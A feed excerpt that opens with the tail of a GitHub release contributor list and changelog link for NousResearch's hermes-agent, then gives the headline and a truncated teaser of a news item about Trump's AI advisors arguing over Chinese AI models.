<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[China’s AI models have Trump’s AI world at war with itself]]></title>
<description><![CDATA[This story originally appeared in The Algorithm, our weekly newsletter on AI. To get stories like this in your inbox first, sign up here. Over the weekend, several current and former advisors to President Donald Trump on AI publicly lobbed insults at the country’s leading AI companies. David Sack...]]></description>
<link>https://tsecurity.de/de/3681957/ai-nachrichten/chinas-ai-models-have-trumps-ai-world-at-war-with-itself/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681957/ai-nachrichten/chinas-ai-models-have-trumps-ai-world-at-war-with-itself/</guid>
<pubDate>Mon, 20 Jul 2026 20:34:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This story originally appeared in The Algorithm, our weekly newsletter on AI. To get stories like this in your inbox first, sign up here. Over the weekend, several current and former advisors to President Donald Trump on AI publicly lobbed insults at the country’s leading AI companies. David Sacks, the president’s AI and crypto “czar” until…]]></content:encoded>
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